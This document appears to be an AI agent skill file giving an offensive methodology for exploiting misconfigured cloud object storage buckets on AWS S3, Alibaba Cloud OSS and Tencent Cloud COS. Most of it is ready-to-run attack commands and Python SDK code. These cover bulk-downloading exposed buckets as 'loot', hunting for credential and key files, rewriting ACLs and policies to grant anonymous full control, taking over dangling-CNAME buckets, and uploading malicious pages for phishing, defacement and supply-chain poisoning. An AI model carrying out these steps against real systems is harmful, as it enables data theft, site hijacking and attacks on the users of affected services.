oss-bucket-exploit

Object Storage Bucket Misconfiguration Exploitation Methodology

Object storage is the most common exposure surface in the cloud—once a Bucket is configured for public read/write, it is equivalent to exposing a file server directly to the internet. Even more dangerous is that ACL misconfiguration can allow attackers to take over the entire Bucket for phishing, supply chain poisoning, and data theft.

⛔ In-Depth Reference (Must Read)

Detailed attack commands for each cloud provider's Bucket (AWS/Alibaba Cloud/Tencent Cloud), ACL exploitation Payloads, Policy construction, coscli usage → references/bucket-attack-methods.md

Phase 1: Identify Object Storage

Clue	Cloud Platform	Bucket URL Format
`x-amz-*` Header, `Server: AmazonS3`	AWS S3	`BUCKET.s3.amazonaws.com` or `s3.REGION.amazonaws.com/BUCKET`
`x-oss-*` Header, `.aliyuncs.com`	Alibaba Cloud OSS	`BUCKET.oss-cn-REGION.aliyuncs.com`
`x-cos-*` Header, `Server: tencent-cos`, `.myqcloud.com`	Tencent Cloud COS	`BUCKET-APPID.cos.REGION.myqcloud.com`
`x-obs-*` Header, `.myhuaweicloud.com`	Huawei Cloud OBS	`BUCKET.obs.REGION.myhuaweicloud.com`

# 快速判断
curl -sI https://TARGET_URL | grep -iE 'x-amz|x-oss|x-cos|x-obs|AmazonS3|aliyuncs|myqcloud|tencent-cos'

Tencent Cloud COS Characteristics

The Bucket name format for Tencent Cloud COS is BUCKET-APPID, where APPID is the user's unique identifier.

# Bucket 访问域名格式
<BucketName-APPID>.cos.<Region>.myqcloud.com

# 示例
mybucket-1250000000.cos.ap-guangzhou.myqcloud.com

# 全局 Bucket 列表（需认证）
GET Service HTTP/1.1
Host: cos.ap-guangzhou.myqcloud.com

Phase 2: Attack Decision Tree

发现对象存储？
├─ 1. 列出 Bucket 内容（公开读？）
│   ├─ 成功 → 搜索敏感文件（配置/备份/代码/凭据）
│   └─ 403 → 尝试 ACL 和 Policy 利用
├─ 2. 检查 ACL 误配（ACL 可读？ACL 可写？）
│   ├─ ACL 可写 → 修改 ACL 获取 FULL_CONTROL
│   └─ Object ACL 可写 → 修改单个 Object 权限
├─ 3. 检查 Bucket Policy 误配
│   ├─ Policy 可写 → 直接获取完整权限
│   └─ 条件绕过 → 利用 Policy 中的弱条件
├─ 4. 公开写入 → 上传 Webshell/钓鱼页面/供应链投毒
└─ 5. Bucket 接管（NoSuchBucket → 抢注同名 Bucket）

Phase 3: Public Read Detection and Sensitive File Search

AWS S3

aws s3 ls s3://BUCKET_NAME --no-sign-request
aws s3 sync s3://BUCKET_NAME ./loot --no-sign-request

Alibaba Cloud OSS

curl -s "https://BUCKET.oss-cn-REGION.aliyuncs.com/?list-type=2"
ossutil ls oss://BUCKET --endpoint oss-cn-REGION.aliyuncs.com

Tencent Cloud COS (prefer using coscli)

# 方式 1: coscli（推荐，功能最全）
coscli ls cos://BUCKET-APPID/ -r
coscli ls cos://BUCKET-APPID/ -r --include "*.env" --include "*.sql"

# 方式 2: Python SDK（tccli 不支持 GetService）
# pip install cos-python-sdk-v5
# from qcloud_cos import CosConfig, CosS3Client
# client = CosS3Client(CosConfig(Region='ap-guangzhou', SecretId='Sid', SecretKey='Skey'))
# print(client.list_buckets())

# 方式 3: curl 直接访问（无需认证）
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/"
# 返回 XML 列表 → 公开读
# 返回 AccessDenied → 非公开

# 下载文件
coscli cp cos://BUCKET-APPID/path/to/file ./
coscli cp cos://BUCKET-APPID/ ./loot/ -r  # 批量下载

Sensitive File Search

# coscli 搜索
coscli ls cos://BUCKET-APPID/ -r --include "*.env"
coscli ls cos://BUCKET-APPID/ -r --include "*.sql"
coscli ls cos://BUCKET-APPID/ -r --include "*.bak"
coscli ls cos://BUCKET-APPID/ -r --include "*.pem"
coscli ls cos://BUCKET-APPID/ -r --include "config*"

Sensitive file keywords:backup, .sql, .env, config, credential, password, .pem, .key, flag

Phase 4: ACL Misconfiguration Exploitation

AWS S3 ACL

aws s3api get-bucket-acl --bucket BUCKET_NAME --no-sign-request

Tencent Cloud COS ACL

# 查看 Bucket ACL（coscli）
coscli get-bucket-acl cos://BUCKET-APPID

# 查看 Bucket ACL（curl）
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?acl"

# 如果 ACL 中包含 AllUsers 或匿名访问 → 可进一步利用

Tencent Cloud COS ACL modification (requires write permission)

# coscli 设置 ACL
coscli put-bucket-acl cos://BUCKET-APPID --grant-full-control anyone

# 或通过 curl PUT ACL
cat > acl.xml << 'EOF'
<AccessControlPolicy>
  <Owner>
    <ID>qcs::cam::uin/OWNER_UIN:uin/OWNER_UIN</ID>
  </Owner>
  <AccessControlList>
    <Grant>
      <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
        <URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
      </Grantee>
      <Permission>FULL_CONTROL</Permission>
    </Grant>
  </AccessControlList>
</AccessControlPolicy>
EOF

curl -X PUT "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?acl" \
  -H "Content-Type: application/xml" \
  -d @acl.xml

→ Detailed commands for ACL modification and Policy exploitation → references/bucket-attack-methods.md

Phase 5: Bucket Takeover

When accessing the subdomain shows NoSuchBucket、BucketNotFound and other errors, the original Bucket has been deleted but the DNS CNAME still points to it.

AWS S3

dig +short target-subdomain.example.com
# 返回 xxx.s3.amazonaws.com → 可能可接管
aws s3 mb s3://target-subdomain.example.com

Tencent Cloud COS

# 确认 CNAME
dig +short target-subdomain.example.com
# 返回 *.cos.*.myqcloud.com → 可能可接管

# 如果返回 NoSuchBucket 错误
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/" | grep -i "nosuchbucket"

# 在自己账号下创建同名 Bucket
coscli mb cos://BUCKET-APPID -e cos.ap-guangzhou.myqcloud.com

# 或使用 tccli（需要 SDK 辅助创建 COS 桶）
# tccli 没有直接的 create-bucket 命令，需要用 coscli 或 Python SDK

Creating a COS Bucket with the Python SDK

from qcloud_cos import CosConfig, CosS3Client

secret_id = 'SecretId'
secret_key = 'SecretKey'
region = 'ap-guangzhou'
config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key)
client = CosS3Client(config)

# 创建同名 Bucket 接管子域名
response = client.create_bucket(Bucket='target-bucket-1250000000')
print(response)

Phase 6: Arbitrary File Upload Exploitation

If the Bucket is configured for public write:

AWS S3

aws s3 cp malicious.html s3://BUCKET_NAME/ --no-sign-request

Tencent Cloud COS

# coscli 上传
coscli cp malicious.html cos://BUCKET-APPID/

# curl PUT 上传（无需认证）
curl -X PUT "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/test.html" \
  -d '<html><body><h1>COS Writable</h1></body></html>'

# 如果 Bucket 支持 HTML 解析 → XSS/钓鱼
# 如果是静态网站托管 → 挂黑页/暗链
# 如果是应用资源 CDN → 供应链投毒

Tencent Cloud COS-Specific Tools

coscli (Tencent Cloud COS-dedicated CLI)

# 安装（根据系统架构选择对应版本）
# Linux amd64
wget https://cosbrowser.cloud.tencent.com/software/coscli/coscli-linux-amd64
mv coscli-linux-amd64 /usr/local/bin/coscli && chmod +x /usr/local/bin/coscli
# Linux arm64 → coscli-linux-arm64
# macOS arm64 (M1/M2) → coscli-darwin-arm64
# macOS amd64 (Intel) → coscli-darwin-amd64

# 配置（交互式，生成 ~/.cos.yaml）
coscli config init
# 按提示输入: SecretId, SecretKey, SessionToken(临时凭据时), APPID, Bucket-Region

# 常用命令
coscli ls                           # 列出所有桶
coscli ls cos://BUCKET-APPID/ -r    # 递归列出桶内容
coscli cp local.txt cos://BUCKET-APPID/remote.txt   # 上传
coscli cp cos://BUCKET-APPID/remote.txt ./           # 下载
coscli rm cos://BUCKET-APPID/file.txt               # 删除
coscli presign cos://BUCKET-APPID/file.txt           # 生成预签名URL
coscli get-bucket-acl cos://BUCKET-APPID             # 查看ACL
coscli put-bucket-acl cos://BUCKET-APPID --grant-read anyone  # 设置ACL

Python SDK (cos-python-sdk-v5)

Use when coscli or tccli cannot perform a specific operation.

pip install cos-python-sdk-v5

from qcloud_cos import CosConfig, CosS3Client
import json

secret_id = 'SecretId'
secret_key = 'SecretKey'
region = 'ap-guangzhou'
token = None  # 临时凭据时填入 Token

config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token)
client = CosS3Client(config)

# 列出所有桶
response = client.list_buckets()

# 列出桶内对象
response = client.list_objects(Bucket='bucket-1250000000')

# 获取 Bucket ACL
response = client.get_bucket_acl(Bucket='bucket-1250000000')

# 获取 Bucket Policy
response = client.get_bucket_policy(Bucket='bucket-1250000000')

# 获取 Bucket CORS
response = client.get_bucket_cors(Bucket='bucket-1250000000')

# 获取 Bucket 加密配置
response = client.get_bucket_encryption(Bucket='bucket-1250000000')

# 获取 Bucket 日志配置
response = client.get_bucket_logging(Bucket='bucket-1250000000')

# 下载文件
response = client.get_object(Bucket='bucket-1250000000', Key='secret.txt')

# 上传文件
response = client.put_object(Bucket='bucket-1250000000', Key='test.html', Body=b'<html>test</html>')

# 设置 Bucket ACL（公开读）
response = client.put_bucket_acl(Bucket='bucket-1250000000', ACL='public-read')

# 设置 Bucket Policy
policy = {
    "version": "2.0",
    "statement": [{
        "effect": "allow",
        "principal": {"qcs": ["qcs::cam::anyone:anyone"]},
        "action": ["name/cos:*"],
        "resource": [
            "qcs::cos:ap-guangzhou:uid/1250000000:bucket-1250000000/*",
            "qcs::cos:ap-guangzhou:uid/1250000000:bucket-1250000000"
        ]
    }]
}
response = client.put_bucket_policy(Bucket='bucket-1250000000', Policy=json.dumps(policy))

Notes

Object storage misconfiguration is very common, especially in development/testing environments
Bucket names are globally unique (AWS/Alibaba Cloud/Tencent Cloud, etc.); knowing the name allows you to attempt access
Modifying ACL/Policy generates operation logs (CloudTrail/ActionTrail/CloudAudit)
Some cloud providers block public list operations by default, but individual Objects may still be accessible
Tencent Cloud COS Bucket names must include the APPID suffix (e.g., bucket-1250000000）
coscli is a dedicated tool for Tencent Cloud COS, with more complete functionality than tccli cos
tccli has limited support for COS (mainly GetService to list buckets); for specific operations, prefer coscli or the SDK

About this skill

⛔ In-Depth Reference (Must Read)

Phase 1: Identify Object Storage

Tencent Cloud COS Characteristics

Phase 2: Attack Decision Tree

Phase 3: Public Read Detection and Sensitive File Search

AWS S3

Alibaba Cloud OSS

Tencent Cloud COS (prefer using coscli)

Sensitive File Search

Phase 4: ACL Misconfiguration Exploitation

AWS S3 ACL

Tencent Cloud COS ACL

Tencent Cloud COS ACL modification (requires write permission)

Phase 5: Bucket Takeover

AWS S3

Tencent Cloud COS

Creating a COS Bucket with the Python SDK

Phase 6: Arbitrary File Upload Exploitation

AWS S3

Tencent Cloud COS

Tencent Cloud COS-Specific Tools

coscli (Tencent Cloud COS-dedicated CLI)

Python SDK (cos-python-sdk-v5)

Notes